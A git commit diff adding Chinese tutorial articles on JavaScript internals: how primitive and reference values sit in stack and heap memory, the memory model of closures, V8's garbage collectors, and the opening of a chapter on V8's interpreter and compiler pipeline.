This commit is contained in:
louzefeng
2024-07-11 05:50:32 +00:00
parent bf99793fd0
commit d3828a7aee
6071 changed files with 0 additions and 0 deletions

View File

@@ -0,0 +1,294 @@
<audio id="audio" title="12 | 栈空间和堆空间:数据是如何存储的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/04/5c/04646c9d26ec6b3dd4256cb3cbaf895c.mp3"></audio>
对于前端开发者来说JavaScript的内存机制是一个不被经常提及的概念 因此很容易被忽视。特别是一些非计算机专业的同学对内存机制可能没有非常清晰的认识甚至有些同学根本就不知道JavaScript的内存机制是什么。
但是如果你想成为行业专家,并打造高性能前端应用,那么你就必须要搞清楚**JavaScript的内存机制**了。
其实要搞清楚JavaScript的内存机制并不是一件很困难的事在接下来的三篇文章数据在内存中的存放、JavaScript处理垃圾回收以及V8执行代码我们将通过内存机制的介绍循序渐进带你走进JavaScript内存的世界。
今天我们讲述第一部分的内容——JavaScript中的数据是如何存储在内存中的。虽然JavaScript并不需要直接去管理内存但是在实际项目中为了能避开一些不必要的坑你还是需要了解数据在内存中的存储方式的。
## 让人疑惑的代码
首先,我们先看下面这两段代码:
```
function foo(){
var a = 1
var b = a
a = 2
console.log(a)
console.log(b)
}
foo()
```
```
function foo(){
var a = {name:&quot;极客时间&quot;}
var b = a
a.name = &quot;极客邦&quot;
console.log(a)
console.log(b)
}
foo()
```
若执行上述这两段代码,你知道它们输出的结果是什么吗?下面我们就来一个一个分析下。
执行第一段代码打印出来a的值是2b的值是1这没什么难以理解的。
接着再执行第二段代码你会发现仅仅改变了a中name的属性值但是最终a和b打印出来的值都是`{name:"极客邦"}`。这就和我们预期的不一致了因为我们想改变的仅仅是a的内容但b的内容也同时被改变了。
要彻底弄清楚这个问题我们就得先从“JavaScript是什么类型的语言”讲起。
## JavaScript是什么类型的语言
每种编程语言都具有内建的数据类型但它们的数据类型常有不同之处使用方式也很不一样比如C语言在定义变量之前就需要确定变量的类型你可以看下面这段C代码
```
int main()
{
int a = 1;
char* b = &quot;极客时间&quot;;
bool c = true;
return 0;
}
```
上述代码声明变量的特点是:在声明变量之前需要先定义变量类型。**我们把这种在使用之前就需要确认其变量数据类型的称为静态语言**。
**相反地,我们把在运行过程中需要检查数据类型的语言称为动态语言**。比如我们所讲的JavaScript就是动态语言因为在声明变量之前并不需要确认其数据类型。
虽然C语言是静态但是在C语言中我们可以把其他类型数据赋予给一个声明好的变量
```
c = a
```
前面代码中我们把int型的变量a赋值给了bool型的变量c这段代码也是可以编译执行的因为在赋值过程中C编译器会把int型的变量悄悄转换为bool型的变量我们通常把这种偷偷转换的操作称为**隐式类型转换**。而**支持隐式类型转换的语言称为弱类型语言,不支持隐式类型转换的语言称为强类型语言**。在这点上C和JavaScript都是弱类型语言。
对于各种语言的类型,你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/36/f0/36f0f5bdce0a6d8c36cbb8a76931cff0.png" alt="">
## JavaScript的数据类型
现在我们知道了,**JavaScript是一种弱类型的、动态的语言**。那这些特点意味着什么呢?
- **弱类型**意味着你不需要告诉JavaScript引擎这个或那个变量是什么数据类型JavaScript引擎在运行代码的时候自己会计算出来。
- **动态**,意味着你可以使用同一个变量保存不同类型的数据。
那么接下来我们再来看看JavaScript的数据类型你可以看下面这段代码
```
var bar
bar = 12
bar = &quot;极客时间&quot;
bar = true
bar = null
bar = {name:&quot;极客时间&quot;}
```
从上述代码中你可以看出我们声明了一个bar变量然后可以使用各种类型的数据值赋予给该变量。
在JavaScript中如果你想要查看一个变量到底是什么类型可以使用“typeof”运算符。具体使用方式如下所示
```
var bar
console.log(typeof bar) //undefined
bar = 12
console.log(typeof bar) //number
bar = &quot;极客时间&quot;
console.log(typeof bar)//string
bar = true
console.log(typeof bar) //boolean
bar = null
console.log(typeof bar) //object
bar = {name:&quot;极客时间&quot;}
console.log(typeof bar) //object
```
执行这段代码你可以看到打印出来了不同的数据类型有undefined、number、boolean、object等。那么接下来我们就来谈谈JavaScript到底有多少种数据类型。
其实JavaScript中的数据类型一种有8种它们分别是
<img src="https://static001.geekbang.org/resource/image/85/15/85b87602eac65356c9171bbd023f5715.png" alt="">
了解这些类型之后,还有三点需要你注意一下。
第一点使用typeof检测Null类型时返回的是Object。这是当初JavaScript语言的一个Bug一直保留至今之所以一直没修改过来主要是为了兼容老的代码。
第二点Object类型比较特殊它是由上述7种类型组成的一个包含了key-value对的数据类型。如下所示
```
let myObj = {
name:'极客时间',
update:function(){....}
}
```
从中你可以看出来Object是由key-value组成的其中的vaule可以是任何类型包括函数这也就意味着你可以通过Object来存储函数Object中的函数又称为方法比如上述代码中的update方法。
第三点我们把前面的7种数据类型称为**原始类型**,把最后一个对象类型称为**引用类型**之所以把它们区分为两种不同的类型是因为它们在内存中存放的位置不一样。到底怎么个不一样法呢接下来我们就来讲解一下JavaScript的原始类型和引用类型到底是怎么储存的。
## 内存空间
要理解JavaScript在运行过程中数据是如何存储的你就得先搞清楚其存储空间的种类。下面是我画的JavaScript的内存模型你可以参考下
<img src="https://static001.geekbang.org/resource/image/62/57/6293f5315a5bafbd3ba00ee732bfbf57.png" alt="">
从图中可以看出, 在JavaScript的执行过程中 主要有三种类型内存空间,分别是**代码空间、栈空间**和**堆空间**。
其中的代码空间主要是存储可执行代码的,这个我们后面再做介绍,今天主要来说说栈空间和堆空间。
### 栈空间和堆空间
这里的栈空间就是我们之前反复提及的调用栈,是用来存储执行上下文的。为了搞清楚栈空间是如何存储数据的,我们还是先看下面这段代码:
```
function foo(){
var a = &quot;极客时间&quot;
var b = a
var c = {name:&quot;极客时间&quot;}
var d = c
}
foo()
```
前面文章我们已经讲解过了当执行一段代码时需要先编译并创建执行上下文然后再按照顺序执行代码。那么下面我们来看看当执行到第3行代码时其调用栈的状态你可以参考下面这张调用栈状态图
<img src="https://static001.geekbang.org/resource/image/94/fe/9411221e463a86d043a3461d49c9f1fe.png" alt="">
从图中可以看出来当执行到第3行时变量a和变量b的值都被保存在执行上下文中而执行上下文又被压入到栈中所以你也可以认为变量a和变量b的值都是存放在栈中的。
接下来继续执行第4行代码由于JavaScript引擎判断右边的值是一个引用类型这时候处理的情况就不一样了JavaScript引擎并不是直接将该对象存放到变量环境中而是将它分配到堆空间里面分配后该对象会有一个在“堆”中的地址然后再将该数据的地址写进c的变量值最终分配好内存的示意图如下所示
<img src="https://static001.geekbang.org/resource/image/22/bc/22100df5c75fb51037d7a929777c57bc.png" alt="">
从上图你可以清晰地观察到对象类型是存放在堆空间的在栈空间中只是保留了对象的引用地址当JavaScript需要访问该数据的时候是通过栈中的引用地址来访问的相当于多了一道转手流程。
好了,现在你应该知道了**原始类型的数据值都是直接保存在“栈”中的,引用类型的值是存放在“堆”中的**。不过你也许会好奇,为什么一定要分“堆”和“栈”两个存储空间呢?所有数据直接存放在“栈”中不就可以了吗?
答案是不可以的。这是因为JavaScript引擎需要用栈来维护程序执行期间上下文的状态如果栈空间大了话所有的数据都存放在栈空间里面那么会影响到上下文切换的效率进而又影响到整个程序的执行效率。比如文中的foo函数执行结束了JavaScript引擎需要离开当前的执行上下文只需要将指针下移到上个执行上下文的地址就可以了foo函数执行上下文栈区空间全部回收具体过程你可以参考下图
<img src="https://static001.geekbang.org/resource/image/d7/7b/d7153d003a72dbd0a9ca84b59ac3857b.png" alt="">
所以**通常情况下,栈空间都不会设置太大,主要用来存放一些原始类型的小数据**。而引用类型的数据占用的空间都比较大,所以这一类数据会被存放到堆中,**堆空间很大,能存放很多大的数据**,不过缺点是分配内存和回收内存都会占用一定的时间。
解释了程序在执行过程中为什么需要堆和栈两种数据结构后我们还是回到示例代码那里看看它最后一步将变量c赋值给变量d是怎么执行的
在JavaScript中赋值操作和其他语言有很大的不同**原始类型的赋值会完整复制变量值,而引用类型的赋值是复制引用地址**。
所以`d=c`的操作就是把c的引用地址赋值给d你可以参考下图
<img src="https://static001.geekbang.org/resource/image/51/f5/51127624a725a18a0e12e0f5a7aadbf5.png" alt="">
从图中你可以看到变量c和变量d都指向了同一个堆中的对象所以这就很好地解释了文章开头的那个问题通过c修改name的值变量d的值也跟着改变归根结底它们是同一个对象。
### 再谈闭包
现在你知道了作用域内的原始类型数据会被存储到栈空间,引用类型会被存储到堆空间,基于这两点的认知,我们再深入一步,探讨下闭包的内存模型。
这里以[《10 | 作用域链和闭包 代码中出现相同的变量JavaScript引擎是如何选择的](https://time.geekbang.org/column/article/127495)中关于闭包的一段代码为例:
```
function foo() {
var myName = &quot;极客时间&quot;
let test1 = 1
const test2 = 2
var innerBar = {
setName:function(newName){
myName = newName
},
getName:function(){
console.log(test1)
return myName
}
}
return innerBar
}
var bar = foo()
bar.setName(&quot;极客邦&quot;)
bar.getName()
console.log(bar.getName())
```
当执行这段代码的时候你应该有过这样的分析由于变量myName、test1、test2都是原始类型数据所以在执行foo函数的时候它们会被压入到调用栈中当foo函数执行结束之后调用栈中foo函数的执行上下文会被销毁其内部变量myName、test1、test2也应该一同被销毁。
但是在[那篇文章](https://time.geekbang.org/column/article/127495)中我们介绍了当foo函数的执行上下文销毁时由于foo函数产生了闭包所以变量myName和test1并没有被销毁而是保存在内存中那么应该如何解释这个现象呢
要解释这个现象,我们就得站在内存模型的角度来分析这段代码的执行流程。
1. 当JavaScript引擎执行到foo函数时首先会编译并创建一个空执行上下文。
1. 在编译过程中遇到内部函数setNameJavaScript引擎还要对内部函数做一次快速的词法扫描发现该内部函数引用了foo函数中的myName变量由于是内部函数引用了外部函数的变量所以JavaScript引擎判断这是一个闭包于是在堆空间创建换一个“closure(foo)”的对象这是一个内部对象JavaScript是无法访问的用来保存myName变量。
1. 接着继续扫描到getName方法时发现该函数内部还引用变量test1于是JavaScript引擎又将test1添加到“closure(foo)”对象中。这时候堆中的“closure(foo)”对象中就包含了myName和test1两个变量了。
1. 由于test2并没有被内部函数引用所以test2依然保存在调用栈中。
通过上面的分析我们可以画出执行到foo函数中“return innerBar”语句时的调用栈状态如下图所示
<img src="https://static001.geekbang.org/resource/image/f9/db/f9dd29ff5371c247e10546393c904edb.png" alt="">
从上图你可以清晰地看出当执行到foo函数时闭包就产生了当foo函数执行结束之后返回的getName和setName方法都引用“clourse(foo)”对象所以即使foo函数退出了“clourse(foo)”依然被其内部的getName和setName方法引用。所以在下次调用`bar.setName`或者`bar.getName`创建的执行上下文中就包含了“clourse(foo)”。
总的来说,产生闭包的核心有两步:第一步是需要预扫描内部函数;第二步是把内部函数引用的外部变量保存到堆中。
## 总结
好了,今天就讲到这里,下面我来简单总结下今天的要点。
我们介绍了JavaScript中的8种数据类型它们可以分为两大类——**原始类型和引用类型**。
其中,原始类型的数据是存放在**栈**中,引用类型的数据是存放在**堆**中的。堆中的数据是通过引用和变量关联起来的。也就是说JavaScript的变量是没有数据类型的值才有数据类型变量可以随时持有任何类型的数据。
然后我们分析了在JavaScript中将一个原始类型的变量a赋值给b那么a和b会相互独立、互不影响但是将引用类型的变量a赋值给变量b那会导致a、b两个变量都同时指向了堆中的同一块数据。
最后,我们还站在内存模型的视角分析了闭包的产生过程。
## 思考时间
在实际的项目中,经常需要完整地拷贝一个对象,也就是说拷贝完成之后两个对象之间就不能互相影响。那该如何实现呢?
结合下面这段代码你可以分析下它是如何将对象jack拷贝给jack2然后在完成拷贝操作时两个jack还互不影响的呢。
```
let jack = {
name : &quot;jack.ma&quot;,
age:40,
like:{
dog:{
color:'black',
age:3,
},
cat:{
color:'white',
age:2
}
}
}
function copy(src){
let dest
//实现拷贝代码将src的值完整地拷贝给dest
//在这里实现
return dest
}
let jack2 = copy(jack)
//比如修改jack2中的内容不会影响到jack中的值
jack2.like.dog.color = 'green'
console.log(jack.like.dog.color) //打印出来的应该是 &quot;black&quot;
```
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,188 @@
<audio id="audio" title="13 | 垃圾回收:垃圾数据是如何自动回收的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/5f/bf/5fc77dd754a4ede850489297ee573ebf.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/129596)中我们提到了JavaScript中的数据是如何存储的并通过例子分析了**原始数据类型是存储在栈空间中的,引用类型的数据是存储在堆空间中的**。通过这种分配方式,我们解决了数据的内存分配的问题。
不过有些数据被使用之后,可能就不再需要了,我们把这种数据称为**垃圾数据**。如果这些垃圾数据一直保存在内存中,那么内存会越用越多,所以我们需要**对这些垃圾数据进行回收,以释放有限的内存空间**。
## 不同语言的垃圾回收策略
通常情况下,垃圾数据回收分为**手动回收**和**自动回收**两种策略。
如C/C++就是使用手动回收策略,**何时分配内存、何时销毁内存都是由代码控制的**你可以参考下面这段C代码
```
//在堆中分配内存
char* p = (char*)malloc(2048); //在堆空间中分配2048字节的空间并将分配后的引用地址保存到p中
//使用p指向的内存
{
//....
}
//使用结束后,销毁这段内存
free(p)
p = NULL
```
从上面这段C代码可以看出来要使用堆中的一块空间我们需要先调用mallco函数分配内存然后再使用当不再需要这块数据的时候就要手动调用free函数来释放内存。如果这段数据已经不再需要了但是又没有主动调用free函数来销毁那么这种情况就被称为**内存泄漏**。
另外一种使用的是自动垃圾回收的策略如JavaScript、Java、Python等语言**产生的垃圾数据是由垃圾回收器来释放的**,并不需要手动通过代码来释放。
对于JavaScript而言也正是这个“自动”释放资源的特性带来了很多困惑也让一些JavaScript开发者误以为可以不关心内存管理这是一个很大的误解。
那么在本文我们将围绕“JavaScript的数据是如何回收的”这个话题来展开探讨。因为数据是存储在栈和堆两种内存空间中的所以接下来我们就来分别介绍“栈中的垃圾数据”和“堆中的垃圾数据”是如何回收的。
## 调用栈中的数据是如何回收的
首先是调用栈中的数据,我们还是通过一段示例代码的执行流程来分析其回收机制,具体如下:
```
function foo(){
var a = 1
var b = {name:&quot;极客邦&quot;}
function showName(){
var c = 2
var d = {name:&quot;极客时间&quot;}
}
showName()
}
foo()
```
当执行到第6行代码时其调用栈和堆空间状态图如下所示
<img src="https://static001.geekbang.org/resource/image/d8/b0/d807ca19c2c8853ef5a38dca0fb79ab0.jpg" alt="">
从图中可以看出原始类型的数据被分配到栈中引用类型的数据会被分配到堆中。当foo函数执行结束之后foo函数的执行上下文会从堆中被销毁掉那么它是怎么被销毁的呢下面我们就来分析一下。
在[上篇文章](https://time.geekbang.org/column/article/129596)中我们简单介绍过了如果执行到showName函数时那么JavaScript引擎会创建showName函数的执行上下文并将showName函数的执行上下文压入到调用栈中最终执行到showName函数时其调用栈就如上图所示。与此同时还有一个**记录当前执行状态的指针称为ESP**指向调用栈中showName函数的执行上下文表示当前正在执行showName函数。
接着当showName函数执行完成之后函数执行流程就进入了foo函数那这时就需要销毁showName函数的执行上下文了。ESP这时候就帮上忙了JavaScript会将ESP下移到foo函数的执行上下文**这个下移操作就是销毁showName函数执行上下文的过程**。
你可能会有点懵ESP指针向下移动怎么就能把showName的执行上下文销毁了呢具体你可以看下面这张移动ESP前后的对比图
<img src="https://static001.geekbang.org/resource/image/b8/f3/b899cb27c0d92c31f9377db59939aaf3.jpg" alt="">
从图中可以看出当showName函数执行结束之后ESP向下移动到foo函数的执行上下文中上面showName的执行上下文虽然保存在栈内存中但是已经是无效内存了。比如当foo函数再次调用另外一个函数时这块内容会被直接覆盖掉用来存放另外一个函数的执行上下文。
所以说,当一个函数执行结束之后,**JavaScript引擎会通过向下移动ESP来销毁该函数保存在栈中的执行上下文**。
## 堆中的数据是如何回收的
通过上面的讲解我想现在你应该已经知道当上面那段代码的foo函数执行结束之后ESP应该是指向全局执行上下文的那这样的话showName函数和foo函数的执行上下文就处于无效状态了不过保存在堆中的两个对象依然占用着空间如下图所示
<img src="https://static001.geekbang.org/resource/image/e8/8c/e80ff553417572f77973b08256b6928c.png" alt="">
从图中可以看出1003和1050这两块内存依然被占用。**要回收堆中的垃圾数据就需要用到JavaScript中的垃圾回收器了**。
所以接下来我们就来通过Chrome的JavaScript引擎V8来分析下堆中的垃圾数据是如何回收的。
### 代际假说和分代收集
不过在正式介绍V8是如何实现回收之前你需要先学习下**代际假说The Generational Hypothesis**的内容,这是垃圾回收领域中一个重要的术语,后续垃圾回收的策略都是建立在该假说的基础之上的,所以很是重要。
**代际假说**有以下两个特点:
- 第一个是大部分对象在内存中存在的时间很短,简单来说,就是很多对象一经分配内存,很快就变得不可访问;
- 第二个是不死的对象,会活得更久。
其实这两个特点不仅仅适用于JavaScript同样适用于大多数的动态语言如Java、Python等。
有了代际假说的基础我们就可以来探讨V8是如何实现垃圾回收的了。
通常,垃圾回收算法有很多种,但是并没有哪一种能胜任所有的场景,你需要权衡各种场景,根据对象的生存周期的不同而使用不同的算法,以便达到最好的效果。
所以在V8中会把堆分为**新生代**和**老生代**两个区域,**新生代中存放的是生存时间短的对象,老生代中存放的生存时间久的对象**。
新生区通常只支持18M的容量而老生区支持的容量就大很多了。对于这两块区域V8分别使用两个不同的垃圾回收器以便更高效地实施垃圾回收。
- **副垃圾回收器,主要负责新生代的垃圾回收。**
- **主垃圾回收器,主要负责老生代的垃圾回收。**
### 垃圾回收器的工作流程
现在你知道了V8把堆分成两个区域——新生代和老生代并分别使用两个不同的垃圾回收器。其实**不论什么类型的垃圾回收器,它们都有一套共同的执行流程**。
第一步是标记空间中活动对象和非活动对象。所谓活动对象就是还在使用的对象,非活动对象就是可以进行垃圾回收的对象。
第二步是回收非活动对象所占据的内存。其实就是在所有的标记完成之后,统一清理内存中所有被标记为可回收的对象。
第三步是做内存整理。一般来说,频繁回收对象后,内存中就会存在大量不连续空间,我们把这些不连续的内存空间称为**内存碎片**。当内存中出现了大量的内存碎片之后,如果需要分配较大连续内存的时候,就有可能出现内存不足的情况。所以最后一步需要整理这些内存碎片,但这步其实是可选的,因为有的垃圾回收器不会产生内存碎片,比如接下来我们要介绍的副垃圾回收器。
那么接下来,我们就按照这个流程来分析新生代垃圾回收器(副垃圾回收器)和老生代垃圾回收器(主垃圾回收器)是如何处理垃圾回收的。
### 副垃圾回收器
副垃圾回收器主要负责新生区的垃圾回收。而通常情况下,大多数小的对象都会被分配到新生区,所以说这个区域虽然不大,但是垃圾回收还是比较频繁的。
新生代中用**Scavenge算法**来处理。所谓Scavenge算法是把新生代空间对半划分为两个区域一半是对象区域一半是空闲区域如下图所示
<img src="https://static001.geekbang.org/resource/image/4f/af/4f9310c7da631fa5a57f871099bfbeaf.png" alt="">
新加入的对象都会存放到对象区域,当对象区域快被写满时,就需要执行一次垃圾清理操作。
在垃圾回收过程中,首先要对对象区域中的垃圾做标记;标记完成之后,就进入垃圾清理阶段,副垃圾回收器会把这些存活的对象复制到空闲区域中,同时它还会把这些对象有序地排列起来,所以这个复制过程,也就相当于完成了内存整理操作,复制后空闲区域就没有内存碎片了。
完成复制后,对象区域与空闲区域进行角色翻转,也就是原来的对象区域变成空闲区域,原来的空闲区域变成了对象区域。这样就完成了垃圾对象的回收操作,同时这种**角色翻转的操作还能让新生代中的这两块区域无限重复使用下去**。
由于新生代中采用的Scavenge算法所以每次执行清理操作时都需要将存活的对象从对象区域复制到空闲区域。但复制操作需要时间成本如果新生区空间设置得太大了那么每次清理的时间就会过久所以**为了执行效率,一般新生区的空间会被设置得比较小**。
也正是因为新生区的空间不大所以很容易被存活的对象装满整个区域。为了解决这个问题JavaScript引擎采用了**对象晋升策略**,也就是经过两次垃圾回收依然还存活的对象,会被移动到老生区中。
### 主垃圾回收器
主垃圾回收器主要负责老生区中的垃圾回收。除了新生区中晋升的对象,一些大的对象会直接被分配到老生区。因此老生区中的对象有两个特点,一个是对象占用空间大,另一个是对象存活时间长。
由于老生区的对象比较大若要在老生区中使用Scavenge算法进行垃圾回收复制这些大的对象将会花费比较多的时间从而导致回收执行效率不高同时还会浪费一半的空间。因而主垃圾回收器是采用**标记-清除Mark-Sweep**的算法进行垃圾回收的。下面我们来看看该算法是如何工作的。
首先是标记过程阶段。标记阶段就是从一组根元素开始,递归遍历这组根元素,在这个遍历过程中,能到达的元素称为**活动对象**,没有到达的元素就可以判断为**垃圾数据**。
比如最开始的那段代码当showName函数执行退出之后这段代码的调用栈和堆空间如下图所示
<img src="https://static001.geekbang.org/resource/image/6c/69/6c8361d3e52c1c37a06699ed94652e69.png" alt="">
从上图你可以大致看到垃圾数据的标记过程当showName函数执行结束之后ESP向下移动指向了foo函数的执行上下文这时候如果遍历调用栈是不会找到引用1003地址的变量也就意味着1003这块数据为垃圾数据被标记为红色。由于1050这块数据被变量b引用了所以这块数据会被标记为活动对象。这就是大致的标记过程。
接下来就是垃圾的清除过程。它和副垃圾回收器的垃圾清除过程完全不同,你可以理解这个过程是清除掉红色标记数据的过程,可参考下图大致理解下其清除过程:
<img src="https://static001.geekbang.org/resource/image/d0/85/d015db8ad0df7f0ccb1bdb8e31f96e85.png" alt="">
上面的标记过程和清除过程就是标记-清除算法,不过对一块内存多次执行标记-清除算法后,会产生大量不连续的内存碎片。而碎片过多会导致大对象无法分配到足够的连续内存,于是又产生了另外一种算法——**标记-整理Mark-Compact**,这个标记过程仍然与标记-清除算法里的是一样的,但后续步骤不是直接对可回收对象进行清理,而是让所有存活的对象都向一端移动,然后直接清理掉端边界以外的内存。你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/65/8c/652bd2df726d0aa5e67fe8489f39a18c.png" alt="">
### 全停顿
现在你知道了V8是使用副垃圾回收器和主垃圾回收器处理垃圾回收的不过由于JavaScript是运行在主线程之上的一旦执行垃圾回收算法都需要将正在执行的JavaScript脚本暂停下来待垃圾回收完毕后再恢复脚本执行。我们把这种行为叫做**全停顿Stop-The-World**。
比如堆中的数据有1.5GBV8实现一次完整的垃圾回收需要1秒以上的时间这也是由于垃圾回收而引起JavaScript线程暂停执行的时间若是这样的时间花销那么应用的性能和响应能力都会直线下降。主垃圾回收器执行一次完整的垃圾回收流程如下图所示
<img src="https://static001.geekbang.org/resource/image/98/0c/9898646a08b46bce4f12f918f3c1e60c.png" alt="">
在V8新生代的垃圾回收中因其空间较小且存活对象较少所以全停顿的影响不大但老生代就不一样了。如果在执行垃圾回收的过程中占用主线程时间过久就像上面图片展示的那样花费了200毫秒在这200毫秒内主线程是不能做其他事情的。比如页面正在执行一个JavaScript动画因为垃圾回收器在工作就会导致这个动画在这200毫秒内无法执行的这将会造成页面的卡顿现象。
为了降低老生代的垃圾回收而造成的卡顿V8将标记过程分为一个个的子标记过程同时让垃圾回收标记和JavaScript应用逻辑交替进行直到标记阶段完成我们把这个算法称为**增量标记Incremental Marking算法**。如下图所示:
<img src="https://static001.geekbang.org/resource/image/de/e7/de117fc96ae425ed90366e9060aa14e7.png" alt="">
使用增量标记算法可以把一个完整的垃圾回收任务拆分为很多小的任务这些小的任务执行时间比较短可以穿插在其他的JavaScript任务中间执行这样当执行上述动画效果时就不会让用户因为垃圾回收任务而感受到页面的卡顿了。
## 总结
好了,今天就讲到这里,下面我们就来总结下今天的主要内容。
首先我们介绍了不同语言的垃圾回收策略然后又说明了栈中的数据是如何回收的最后重点讲解了JavaScript中的垃圾回收器是如何工作的。
从上面的分析你也能看出来,无论是垃圾回收的策略,还是处理全停顿的策略,往往都没有一个完美的解决方案,你需要花一些时间来做权衡,而这需要牺牲当前某几方面的指标来换取其他几个指标的提升。
其实站在工程师的视角,我们经常需要在满足需求的前提下,权衡各个指标的得失,把系统设计得尽可能适应最核心的需求。
生活中处理事情的原则也与之类似,古人很早就说过“两害相权取其轻,两利相权取其重”,所以与其患得患失,不如冷静地分析哪些才是核心诉求,然后果断决策牺牲哪些以使得利益最大化。
## 思考时间
今天留给你的思考题是你是如何判断JavaScript中内存泄漏的可以结合一些你在工作中避免内存泄漏的方法。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,139 @@
<audio id="audio" title="14 | 编译器和解释器V8是如何执行一段JavaScript代码的" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/35/14/35938306cf47de1be279360ca97a5a14.mp3"></audio>
前面我们已经花了很多篇幅来介绍JavaScript是如何工作的了解这些内容能帮助你从底层理解JavaScript的工作机制从而能帮助你更好地理解和应用JavaScript。
今天这篇文章我们就继续“向下”分析站在JavaScript引擎V8的视角来分析JavaScript代码是如何被执行的。
前端工具和框架的自身更新速度非常块而且还不断有新的出现。要想追赶上前端工具和框架的更新速度你就需要抓住那些本质的知识然后才能更加轻松地理解这些上层应用。比如我们接下来要介绍的V8执行机制能帮助你从底层了解JavaScript也能帮助你深入理解语言转换器Babel、语法检查工具ESLint、前端框架Vue和React的一些底层实现机制。因此了解V8的编译流程能让你对语言以及相关工具有更加充分的认识。
要深入理解V8的工作原理你需要搞清楚一些概念和原理比如接下来我们要详细讲解的**编译器Compiler、解释器Interpreter、抽象语法树AST、字节码Bytecode、即时编译器JIT**等概念,都是你需要重点关注的。
## 编译器和解释器
之所以存在编译器和解释器,是因为机器不能直接理解我们所写的代码,所以在执行程序之前,需要将我们所写的代码“翻译”成机器能读懂的机器语言。按语言的执行流程,可以把语言划分为编译型语言和解释型语言。
**编译型语言在程序执行之前,需要经过编译器的编译过程,并且编译之后会直接保留机器能读懂的二进制文件,这样每次运行程序时,都可以直接运行该二进制文件,而不需要再次重新编译了**。比如C/C++、GO等都是编译型语言。
**而由解释型语言编写的程序,在每次运行时都需要通过解释器对程序进行动态解释和执行**。比如Python、JavaScript等都属于解释型语言。
那编译器和解释器是如何“翻译”代码的呢?具体流程你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/4e/81/4e196603ecb78188e99e963e251b9781.png" alt="">
从图中你可以看出这二者的执行流程,大致可阐述为如下:
1. 在编译型语言的编译过程中编译器首先会依次对源代码进行词法分析、语法分析生成抽象语法树AST然后是优化代码最后再生成处理器能够理解的机器码。如果编译成功将会生成一个可执行的文件。但如果编译过程发生了语法或者其他的错误那么编译器就会抛出异常最后的二进制文件也不会生成成功。
1. 在解释型语言的解释过程中同样解释器也会对源代码进行词法分析、语法分析并生成抽象语法树AST不过它会再基于抽象语法树生成字节码最后再根据字节码来执行程序、输出结果。
## V8是如何执行一段JavaScript代码的
通过上面的介绍相信你已经了解编译器和解释器了。那接下来我们就重点分析下V8是如何执行一段JavaScript代码的。你可以先来“一览全局”参考下图
<img src="https://static001.geekbang.org/resource/image/1a/ae/1af282bdc4036096c03074da53eb84ae.png" alt="">
从图中可以清楚地看到V8在执行过程中既有**解释器Ignition**,又有**编译器TurboFan**那么它们是如何配合去执行一段JavaScript代码的呢? 下面我们就按照上图来一一分解其执行流程。
### 1. 生成抽象语法树AST和执行上下文
将源代码转换为**抽象语法树**,并生成**执行上下文**,而执行上下文我们在前面的文章中已经介绍过很多了,主要是代码在执行过程中的环境信息。
那么下面我们就得重点讲解下抽象语法树下面表述中就直接用它的简称AST了看看什么是AST以及AST的生成过程是怎样的。
高级语言是开发者可以理解的语言但是让编译器或者解释器来理解就非常困难了。对于编译器或者解释器来说它们可以理解的就是AST了。所以无论你使用的是解释型语言还是编译型语言在编译过程中它们都会生成一个AST。这和渲染引擎将HTML格式文件转换为计算机可以理解的DOM树的情况类似。
你可以结合下面这段代码来直观地感受下什么是AST
```
var myName = &quot;极客时间&quot;
function foo(){
return 23;
}
myName = &quot;geektime&quot;
foo()
```
这段代码经过[javascript-ast](http://resources.jointjs.com/demos/javascript-ast)站点处理后生成的AST结构如下
<img src="https://static001.geekbang.org/resource/image/73/36/7320526ef14d974be8393effcf25b436.png" alt="">
从图中可以看出AST的结构和代码的结构非常相似其实你也可以把AST看成代码的结构化的表示编译器或者解释器后续的工作都需要依赖于AST而不是源代码。
AST是非常重要的一种数据结构在很多项目中有着广泛的应用。其中最著名的一个项目是Babel。Babel是一个被广泛使用的代码转码器可以将ES6代码转为ES5代码这意味着你可以现在就用ES6编写程序而不用担心现有环境是否支持ES6。Babel的工作原理就是先将ES6源码转换为AST然后再将ES6语法的AST转换为ES5语法的AST最后利用ES5的AST生成JavaScript源代码。
除了Babel外还有ESLint也使用AST。ESLint是一个用来检查JavaScript编写规范的插件其检测流程也是需要将源码转换为AST然后再利用AST来检查代码规范化的问题。
现在你知道了什么是AST以及它的一些应用那接下来我们再来看下AST是如何生成的。通常生成AST需要经过两个阶段。
**第一阶段是分词tokenize又称为词法分析**其作用是将一行行的源码拆解成一个个token。所谓**token**指的是语法上不可能再分的、最小的单个字符或字符串。你可以参考下图来更好地理解什么token。
<img src="https://static001.geekbang.org/resource/image/83/f5/838028071f63a132cc8b27b23960e5f5.png" alt="">
从图中可以看出,通过`var myName = “极客时间”`简单地定义了一个变量其中关键字“var”、标识符“myName” 、赋值运算符“=”、字符串“极客时间”四个都是token而且它们代表的属性还不一样。
**第二阶段是解析parse又称为语法分析**其作用是将上一步生成的token数据根据语法规则转为AST。如果源码符合语法规则这一步就会顺利完成。但如果源码存在语法错误这一步就会终止并抛出一个“语法错误”。
这就是AST的生成过程先分词再解析。
有了AST后那接下来V8就会生成该段代码的执行上下文。至于执行上下文的具体内容你可以参考前面几篇文章的讲解。
### 2. 生成字节码
有了AST和执行上下文后那接下来的第二步解释器Ignition就登场了它会根据AST生成字节码并解释执行字节码。
其实一开始V8并没有字节码而是直接将AST转换为机器码由于执行机器码的效率是非常高效的所以这种方式在发布后的一段时间内运行效果是非常好的。但是随着Chrome在手机上的广泛普及特别是运行在512M内存的手机上内存占用问题也暴露出来了因为V8需要消耗大量的内存来存放转换后的机器码。为了解决内存占用问题V8团队大幅重构了引擎架构引入字节码并且抛弃了之前的编译器最终花了将进四年的时间实现了现在的这套架构。
那什么是字节码呢?为什么引入字节码就能解决内存占用问题呢?
